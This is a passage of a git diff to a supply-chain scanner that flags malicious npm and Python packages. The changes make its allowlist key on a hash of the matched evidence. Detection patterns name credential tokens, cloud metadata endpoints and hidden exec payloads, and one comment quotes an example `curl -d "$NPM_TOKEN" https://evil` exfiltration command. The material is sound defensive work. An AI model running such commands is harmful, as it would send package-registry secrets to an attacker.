+ buf.append(" " * (n - i)) + i = n + if ch == "`": # opens a template literal that runs past this line + in_back = True + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + prev_sig = "v" # a string is a value: a following `/` is division + continue + if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS): + # Regex literal: blank to the closing unescaped `/` outside a `[...]` + # char class. A regex never spans lines, so no close on the line + # means this `/` is really division. + j, in_class, closed = i + 1, False, False + while j < n: + c = line[j] + if c == "\\": + j += 2 + continue + if c == "[": + in_class = True + elif c == "]": + in_class = False + elif c == "/" and not in_class: + j += 1 + closed = True + break + j += 1 + if closed: + buf.append(" " * (j - i)) + i = j + prev_sig = "v" # a regex is a value + continue + buf.append(ch) + i += 1 + prev_sig = "/" + continue + buf.append(ch) + i += 1 + prev_sig = ch + out.append("".join(buf)) + return out + + +def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]: + """Precompute once per evidence call: raw lines for display, two string-blanked + views for bracket counting (single-line via regex = legacy, and multi-line + aware so a template literal spanning lines is blanked), and newline offsets for + O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole + file on every single match (which was O(matches x file size)).""" + lines = text.split("\n") + sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines] + ml_blanked = _blank_js_strings(lines) + nl = [p for p, ch in enumerate(text) if ch == "\n"] + return lines, sl_blanked, ml_blanked, nl + + +# Cap on formatted matches in one evidence string; beyond it the remaining match +# texts are folded into a single digest so a huge/minified file cannot build a +# multi-megabyte evidence blob while an added/removed match past the cap still +# changes the key. +_MAX_EVIDENCE_MATCHES = 64 + + +def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]: + """(start, end) line indices of the bracket group enclosing line ``idx`` in one + blanked view: scan back to the still-open opener, then forward to its close.""" + # Backward: find the line that opens a bracket still unclosed at the match, + # so a match inside a multi-line object starts from the object opener. Each line + # is reduced to (L, R) and applied in order: first the L closers consume open + # brackets from the running context (a stray closer whose opener is outside the + # window only clamps depth at 0, it never goes negative), then the R openers + # add to it. Tracking order this way (rather than a single net per line) keeps a + # trailing opener visible even when leading closers on the same line net it to + # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a + # changed path/headers after such a line ride the unchanged-hostname key. + start = idx + depth = 0 + for j in range(max(0, idx - _MAX_CONT_LINES), idx): + left, right = _bracket_lr(blanked[j]) + if left >= depth: + depth = 0 # everything opened so far in the window has closed + start = idx + else: + depth -= left + if right > 0: + if depth == 0: + start = j # outermost still-open opener begins here + depth += right + + # Forward: extend until the group opened at `start` closes past the match. The + # same order-aware reduction is used (clamping leading closers at 0) so the + # foreign `})` on the opener line does not drive the count negative and stop the + # scan before the real close. The cap is measured from the match (`idx`), not + # from `start`, so an opener found near the backward limit does not eat the + # whole forward budget and drop the path/headers/body that follow the match. + depth = 0 + end = start + for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)): + left, right = _bracket_lr(blanked[j]) + depth = max(0, depth - left) + right + end = j + if j >= idx and depth <= 0: + break + return start, end + + +def _canon_preserve_strings(text: str) -> str: + """Whitespace canon that collapses runs OUTSIDE string literals to a single + space (so a reindent or spacing change between tokens stays stable) while + preserving whitespace INSIDE single/double/backtick string literals (so a + changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain + ``" ".join(text.split())`` erases both, suppressing an intra-literal payload + edit along with harmless indentation. Leading/trailing outside whitespace is + dropped; escapes inside strings are honoured. Used for the evidence hash and + the logical-line digests so the two stay consistent.""" + out: list[str] = [] + i, n = 0, len(text) + quote: str | None = None + pending_space = False + while i < n: + ch = text[i] + if quote is not None: + out.append(ch) + if ch == "\\" and i + 1 < n: + out.append(text[i + 1]) + i += 2 + continue + if ch == quote: + quote = None + i += 1 + continue + if ch.isspace(): + pending_space = True + i += 1 + continue + if pending_space and out: + out.append(" ") + pending_space = False + out.append(ch) + if ch in "'\"`": + quote = ch + i += 1 + return "".join(out) + + +def _logical_line_text( + lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int +) -> str: + """The matched line plus the bracket group it belongs to (the enclosing + multi-line object/call, so a changed ``path``/``headers``/body on another line + binds). Returns the UNION of the groups found in the single-line-blanked view + (legacy: a payload embedded inside a template still counts so its brackets bind + the call) and the multi-line-blanked view (a bracket inside a template literal + spanning lines no longer closes the group early). Unioning never shrinks the + span below either view, so neither blanking strategy can drop a line a + malicious change relies on.""" + s1, e1 = _scan_group(sl_blanked, idx) + s2, e2 = _scan_group(ml_blanked, idx) + start, end = min(s1, s2), max(e1, e2) + return " ".join(lines[start : end + 1]) + + +def _format_match( + text: str, + lines: list[str], + sl_blanked: list[str], + ml_blanked: list[str], + nl: list[int], + m: re.Match, + max_chars: int, +) -> str: + # The shown snippet is a small window around the match; append a digest of the + # full LOGICAL line (the matched line plus its bracket-continuation lines) + # whenever the snippet does not already show all of it, so a changed payload + # tail, a truncated body, or a multi-line option/header reopens. Offsets are + # mapped to line numbers via bisect over precomputed newline positions, so this + # is O(log n) instead of rescanning the file prefix for every match. + idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match + line_start = nl[idx - 1] + 1 if idx > 0 else 0 + ke = bisect.bisect_left(nl, m.end()) + line_end = nl[ke] if ke < len(nl) else len(text) + full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + start = max(line_start, m.start() - 30) + end = min(line_end, m.end() + 30) + snippet = text[start:end].replace("\n", " ") + if len(snippet) > max_chars: + snippet = snippet[:max_chars] + "..." + if snippet != full_logical: + # Normalize before digesting, matching _evidence_hash, so a formatter-only + # reindent of the bound continuation lines does not reopen -- but preserve + # whitespace inside string literals so a changed request/payload body does. + canon = _canon_preserve_strings(full_logical) + digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() + snippet = f"{snippet} sha256:{digest}" + return snippet + + +def _stream_overflow_digest( + matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> tuple[int, str]: + """A single digest binding the LOGICAL line (the bound bracket-group context, + not just the regex match text) of every overflow match in the iterable, plus + the count of matches folded. Streams the matches (any iterable of re.Match) so a + huge overflow never materializes a list. Whitespace-normalized to match + _evidence_hash so a reindent does not reopen.""" + h = hashlib.sha256() + count = 0 + for m in matches: + _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl) + count += 1 + return count, h.hexdigest() + + +def _fold_overflow_match( + h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> None: + """Fold one overflow match's whitespace-normalized logical-line context into the + running hash ``h``. Shared by _stream_overflow_digest and the inline overflow + fold in _outbound_host_evidence so both produce the identical digest.""" + idx = bisect.bisect_left(nl, m.start()) + ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + h.update(b"\x00") + h.update(_canon_preserve_strings(ll).encode("utf-8", "replace")) + + def _evidence( text: str, pat: re.Pattern, max_chars: int = 200, ) -> str: - m = pat.search(text) - if not m: + # Record every match (not a truncated sample) so an extra match appended to an + # already-flagged file changes the evidence instead of riding the first few. + # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest + # (binding their logical-line context) so the evidence string stays bounded + # while a changed payload past the cap still reopens. The matches are streamed + # from finditer rather than materialized into a list: a generated file can + # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a + # re.Match per occurrence before applying the cap would stall or OOM the scan. + it = pat.finditer(text) + shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES)) + if not shown_matches: return "" - start = max(0, m.start() - 30) - end = min(len(text), m.end() + 30) - snippet = text[start:end].replace("\n", " ") - if len(snippet) > max_chars: - snippet = snippet[:max_chars] + "..." - return snippet + lines, sl_blanked, ml_blanked, nl = _index_text(text) + shown = [ + _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches + ] + # Fold the rest (past the cap) into one digest as they arrive, never building a + # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:]. + overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl) + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{digest}") + return " | ".join(shown) + + +def _ioc_evidence(text: str, needle: str) -> str: + """Matched-line context (with bracket-group continuation) for a literal IOC + needle, so a changed adjacent fetch/exfil body reopens the key instead of + riding the bare constant. Falls back to the needle itself if, defensively, + nothing matches (the caller only reaches here when ``needle in text``).""" + return _evidence(text, re.compile(re.escape(needle))) or needle LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare") @@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: body = scripts.get(hook) if not isinstance(body, str): continue + # Pin the whole lifecycle body via one digest shared by every lifecycle + # finding below: a script that keeps the matched signal but changes + # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN" + # https://evil`) must reopen. The stored evidence is a bounded matched + # snippet plus this digest, never the entire body, so `--write-baseline` + # on a package with a multi-MiB install script does not bloat the baseline + # JSON while the digest still binds the full body. Normalized to match + # _evidence_hash so a reindent alone does not reopen, while whitespace + # inside quoted strings is preserved so a changed quoted payload does. + body_digest = hashlib.sha256( + _canon_preserve_strings(body).encode("utf-8", "replace") + ).hexdigest() if _LIFECYCLE_FETCH_EXEC.search(body): findings.append( Finding( @@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"lifecycle-fetch-exec ({hook})", - evidence = body, + evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` fetches an external " "resource and pipes/chains it to an " @@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-path-in-lifecycle ({hook})", - evidence = body, + evidence = ( + f"{_evidence(body, re.compile(re.escape(path_substr)))} " + f"body-sha256:{body_digest}" + ), detail = ( f"`scripts.{hook}` references {why} " f"({path_substr!r}); install-time access " @@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-env-in-lifecycle ({hook})", - evidence = _evidence(body, _JS_ENV_TOKEN), + evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` references a credential " "env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* " @@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool: return False +def _outbound_host_evidence(text: str, host: str) -> str: + """Evidence capturing the host WITH its outbound context (URL path, fetch + call, host config), so a changed path/headers/body reopens the key instead + of riding the bare host literal. Falls back to the host if none matches.""" + host_re = re.escape(host) + patterns = ( + re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE), + re.compile( + rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}" + rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}", + re.IGNORECASE, + ), + # Host-config form: capture the whole line (path/headers/body), so a + # changed outbound payload on the same hostname line reopens the key. + re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE), + ) + # Record EVERY outbound context for the host, not just the first form that + # matches: a file that already has a baselined URL for the host and later adds + # a separate host-config request (or a second URL) must change the evidence so + # the new payload cannot inherit the old key. Forms are claimed in order, and a + # region already claimed by an earlier form is skipped, so the common + # single-context case keeps its existing snippet. Each form is capped at + # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a + # minified file cannot make the overlap check quadratic; once chosen is full + # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a + # list, so a host repeated millions of times cannot OOM the scan) and an added + # context still reopens. + lines, sl_blanked, ml_blanked, nl = _index_text(text) + claimed: list[tuple[int, int]] = [] + chosen: list[re.Match] = [] + overflow_count = 0 + overflow_hash = hashlib.sha256() + for pat in patterns: + for m in pat.finditer(text): + if len(chosen) < _MAX_EVIDENCE_MATCHES: + # Overlap check runs only while filling the display list, so + # `claimed` is bounded by the cap and this stays O(cap) per match + # (not quadratic), while every later match is still counted below. + if any(m.start() < e and s < m.end() for s, e in claimed): + continue + claimed.append((m.start(), m.end())) + chosen.append(m) + else: + _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl) + overflow_count += 1 + if not chosen: + return host + chosen.sort(key = lambda m: m.start()) + shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen] + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(shown) + + def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: findings: list[Finding] = [] @@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: if rel.lower().endswith(_JS_FAMILY_SUFFIXES): text = _strip_js_noncode(text) - # IOC substrings (literal, case-sensitive). + # IOC substrings (literal, case-sensitive). Evidence is the matched-line + # context (with its bracket-group continuation), not the bare needle: an IOC + # host/hash left in place while the adjacent fetch/exfil body changes must + # reopen the key instead of riding the constant. for needle, (sev, why) in KNOWN_IOC_STRINGS.items(): if needle in text: findings.append( @@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) - # Cred surfaces, tier 1: hosts with no legit use; bare substring. + # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context + # (path/headers/body) when present so a changed exfil payload on the same call + # reopens; falls back to the bare host when it is not in an outbound call. for needle, why in CRED_HOST_ALWAYS_BAD: if needle in text: findings.append( @@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (always-bad)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}); no legitimate " "frontend use of this surface" @@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (outbound)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}) in an outbound " "call / URL / host config; a defensive blocklist " @@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) @@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json") -# Bumped when the entry-key semantics change. v2 keys on the package-relative -# path; v1 stored only a basename, so a v1 entry could suppress a same-named file -# in a different directory. A pre-v2 baseline with entries is ignored (fail -# closed) rather than mis-applied. -_BASELINE_SCHEMA_VERSION = 2 +# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new +# payload under an already-listed package/path/pattern is not auto-suppressed; v2 +# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline +# with entries is ignored (fail closed) rather than mis-applied. +_BASELINE_SCHEMA_VERSION = 3 def _norm_pkg_name(display: str) -> str: @@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str: return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f -def _finding_key(f: Finding) -> tuple[str, str, str]: - """Stable allowlist key: normalized package, package-relative path, pattern.""" - return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern) +def _evidence_hash(evidence: str) -> str: + """Stable digest of the matched evidence. The npm snippet carries no line + markers, so it is already version-stable; whitespace outside string literals is + collapsed (reindent-stable) while whitespace inside literals is preserved, so a + changed payload body reopens but a formatter reindent does not.""" + canon = _canon_preserve_strings(evidence or "") + return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() -def _load_baseline(path: str) -> set[tuple[str, str, str]]: +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: normalized package, package-relative path, pattern, and a + hash of the matched evidence -- so changed flagged code under an already-listed + package/path/pattern reopens instead of riding the reviewed entry.""" + return ( + _norm_pkg_name(f.package), + _relpath_in_package(f.filename), + f.pattern, + _evidence_hash(f.evidence or f.detail), + ) + + +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() entries = data.get("entries", []) - if entries and data.get("version") != _BASELINE_SCHEMA_VERSION: + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + # v2 shares v3's package-relative keying, so its entries migrate by recomputing + # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected. + if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2): print( f" [WARN] baseline schema v{data.get('version')} predates package-relative " f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.", file = sys.stderr, ) return set() - keys: set[tuple[str, str, str]] = set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 for e in entries: + if not isinstance(e, dict): + continue try: - keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"])) + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg_name(e["package"]), + _relpath_in_package(e["file"]), + e["pattern"], + evidence_hash, + ) + ) except (KeyError, TypeError): continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) return keys def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int: """Persist at-or-above-threshold findings as an allowlist for triage.""" entries = [] - seen: set[tuple[str, str, str]] = set() + seen: set[tuple[str, str, str, str]] = set() for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)): if _SEVERITY_RANK[f.severity] > threshold_rank: continue @@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> if key in seen: continue seen.add(key) + evidence = f.evidence or f.detail entries.append( { "package": _norm_pkg_name(f.package), "file": _relpath_in_package(f.filename), "pattern": f.pattern, "severity": f.severity, - "evidence": (f.evidence or f.detail)[:240], + "evidence": evidence, + "evidence_hash": _evidence_hash(evidence), } ) doc = { "_comment": ( "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL " "finding manually judged benign. Matched on (package, " - "package-relative path, pattern); evidence/severity are for review " - "only. Regenerate with --write-baseline AFTER reviewing every line." + "package-relative path, pattern, evidence hash); a new payload under " + "an already-listed package/path/pattern reopens. severity is for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." ), "version": _BASELINE_SCHEMA_VERSION, "entries": entries, @@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> def _partition_baseline( - findings: list[Finding], baseline: set[tuple[str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json index 61d8e74023..6ed3cedef9 100644 --- a/scripts/scan_npm_packages_baseline.json +++ b/scripts/scan_npm_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", - "version": 2, + "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", + "version": 3, "entries": [] } diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py index ce9763e235..73f6ff2291 100644 --- a/scripts/scan_packages.py +++ b/scripts/scan_packages.py @@ -43,9 +43,10 @@ False positives: examples and `>>>` doctests cannot trip a finding. Residual findings that are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored test fixture) are suppressed via a reviewed baseline allowlist, matched on - (package, basename(file), check). A NEW kind of finding in an already-listed - file is a different check and still fails. This mirrors the Hugging Face Hub - approach (ClamAV/picklescan: low-FP, signature/structural, surface status). + (package, package-relative file, check, evidence hash). A new check, or + changed flagged code under the same check, reopens the finding; version + bumps and line shifts do not. This mirrors the Hugging Face Hub approach + (ClamAV/picklescan: low-FP, signature/structural, surface status). Exit codes: 0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline) @@ -55,6 +56,8 @@ Exit codes: import argparse import atexit +import bisect +import hashlib import io import json import os @@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile( re.DOTALL, ) +# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence. +RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL) + # Cloud metadata / IMDS endpoints RE_CLOUD_METADATA = re.compile( r"169\.254\.169\.254" # AWS/Azure/GCP IMDS @@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # Large base64 blob if RE_LARGE_BLOB.search(content): - blob = RE_LARGE_BLOB.search(content).group() + # Digest every blob (not just the first 120 chars, and not just the + # first blob), so a later payload that keeps the prefix or appends a + # second encoded blob reopens. + blob, digest = _blob_digest(content) findings.append( Finding( CRITICAL, package, filename, f".pth has large base64-like blob ({len(blob)} chars)", - blob[:120] + "...", + f"{blob[:120]}... sha256:{digest}", ) ) - # Catch-all: any import line in .pth if nothing else triggered + # Catch-all: any import line in .pth if nothing else triggered. Bind every + # line through a digest so an appended/swapped import reopens the key, but cap + # the displayed text so a large .pth of benign-looking imports cannot dump up + # to the archive member cap into the logs or baseline JSON. if not findings and import_lines: - evidence = "\n".join(import_lines[:5]) - if len(import_lines) > 5: - evidence += f"\n... ({len(import_lines)} import lines total)" + evidence = _cap_line("\n".join(import_lines)) findings.append( Finding( HIGH, @@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes) size = len(content) if size > 500 and import_lines: + # Pin the content so a different payload of the same size/import count reopens. + digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() findings.append( Finding( HIGH, package, filename, f"Unusually large executable .pth ({size} bytes)", - f"{len(import_lines)} import line(s) in {size}-byte .pth file", + f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}", ) ) @@ -629,6 +641,13 @@ def _hidden_payload_findings( removed = "".join(o if o != s else " " for o, s in zip(original, code)) out = [] + # The visible exec/eval line is what makes the hidden string executable, so + # bind it into every finding's evidence: otherwise a reviewed false positive + # that keeps the same hidden text but flips a harmless `eval("1+1")` to + # `exec(__doc__)` (now running the payload) keeps the same key and stays + # suppressed. Taken from `stripped` (real code), where the exec/eval lives. + trigger = _extract_evidence(stripped, RE_EXEC_EVAL) + def _hidden(pat): # Carrier present in a blanked region but NOT in real code. A carrier in # real code is already caught by the normal check, so restricting to @@ -643,7 +662,7 @@ def _hidden_payload_findings( package, filename, "exec/eval with payload hidden in a docstring/string", - f"{label}: {_extract_evidence(removed, pat)}", + f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}", ) ) # Fetch-then-run dropper: a network call AND an os/subprocess exec that both @@ -657,7 +676,9 @@ def _hidden_payload_findings( package, filename, "exec/eval with hidden network+exec payload", - f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}", + f"exec: {trigger}\n" + f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | " + f"{_extract_evidence(removed, RE_SUBPROCESS)}", ) ) return out @@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # openssl encryption + network/key material (encrypted exfiltration) if has_openssl_cli and (has_network or has_keys): + # Bind whichever side(s) co-occur so a changed endpoint or key reopens. + evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"] + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_keys: + evidence.append(f"Key: {_embedded_key_evidence(content)}") findings.append( Finding( CRITICAL, package, filename, "openssl encryption + network/key material (encrypted exfiltration)", - f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n" - f"Network: {_extract_evidence(content, RE_NETWORK)}", + "\n".join(evidence), ) ) @@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # Obfuscated payload: base64 + exec/eval + large blob if has_base64 and has_exec_eval and has_blob: + # Digest every blob too: a payload may sit on a separate line from the + # decode call, and a second encoded blob may be appended later, so + # binding only the base64/exec lines or the first blob would miss it. + _, blob_digest = _blob_digest(content) findings.append( Finding( HIGH, @@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: filename, "base64 decode + exec/eval + large encoded blob", f"Base64: {_extract_evidence(content, RE_BASE64)}\n" - f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}", + f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n" + f"Blob: sha256:{blob_digest}", ) ) @@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key + network calls (encrypted exfil pattern)", - f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n" + f"Key: {_embedded_key_evidence(content)}\n" f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) # Anti-analysis + any other suspicious pattern if has_anti and (has_network or has_subprocess or has_exec_eval): + # Bind the suspicious side too so a changed payload reopens. + evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"] + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_subprocess: + evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}") + if has_exec_eval: + evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}") findings.append( Finding( HIGH, package, filename, "Anti-analysis/sandbox evasion + suspicious behavior", - f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}", + "\n".join(evidence), ) ) # DNS exfiltration with dynamic hostnames if has_dns_exfil and (has_base64 or has_network or has_creds): + # Bind the co-occurring side so a changed exfil channel reopens. + evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"] + if has_base64: + evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}") + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_creds: + evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}") findings.append( Finding( HIGH, package, filename, "DNS exfiltration / tunneling patterns", - _extract_evidence(content, RE_DNS_EXFIL), + "\n".join(evidence), ) ) @@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key material", - _extract_evidence(content, RE_EMBEDDED_KEYS), + _embedded_key_evidence(content), ) ) @@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: return findings +_MAX_MULTILINE_LINES = 12 +# How far a single matched call is followed over its bracket continuations. A call +# that genuinely closes is bound all the way to its real close, up to the hard +# limit, so a ``requests.post(`` with many option/header lines before ``data=`` +# binds its whole argument list in the digest and a changed payload on a late +# continuation line reopens (a 40-line soft cap would hash only the first 40 lines +# and let a later ``data=``/headers change ride the baseline key). A bracket that +# never closes within the hard limit is a miscount (a multi-line string the +# single-line blanker cannot mask) or a stray opener, so it is bound only to the +# soft cap and cannot swallow unrelated code. +_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed +_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it + +# Cap a single rendered line. A short line is shown verbatim; a long (e.g. +# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full +# line, so a packed payload cannot dump unbounded content into the evidence and +# baseline while a change past the cutoff still changes the digest and reopens the +# finding. The npm scanner bounds its snippets the same way. +_MAX_LINE_CHARS = 200 +# Cap on recorded spans in one evidence string; beyond it the remaining spans are +# folded into a digest so a file with thousands of matching lines cannot build a +# multi-megabyte evidence blob, while an added/removed span past the cap still +# changes the key. Comfortably above the largest real baseline entry. +_MAX_EVIDENCE_SPANS = 96 + + +def 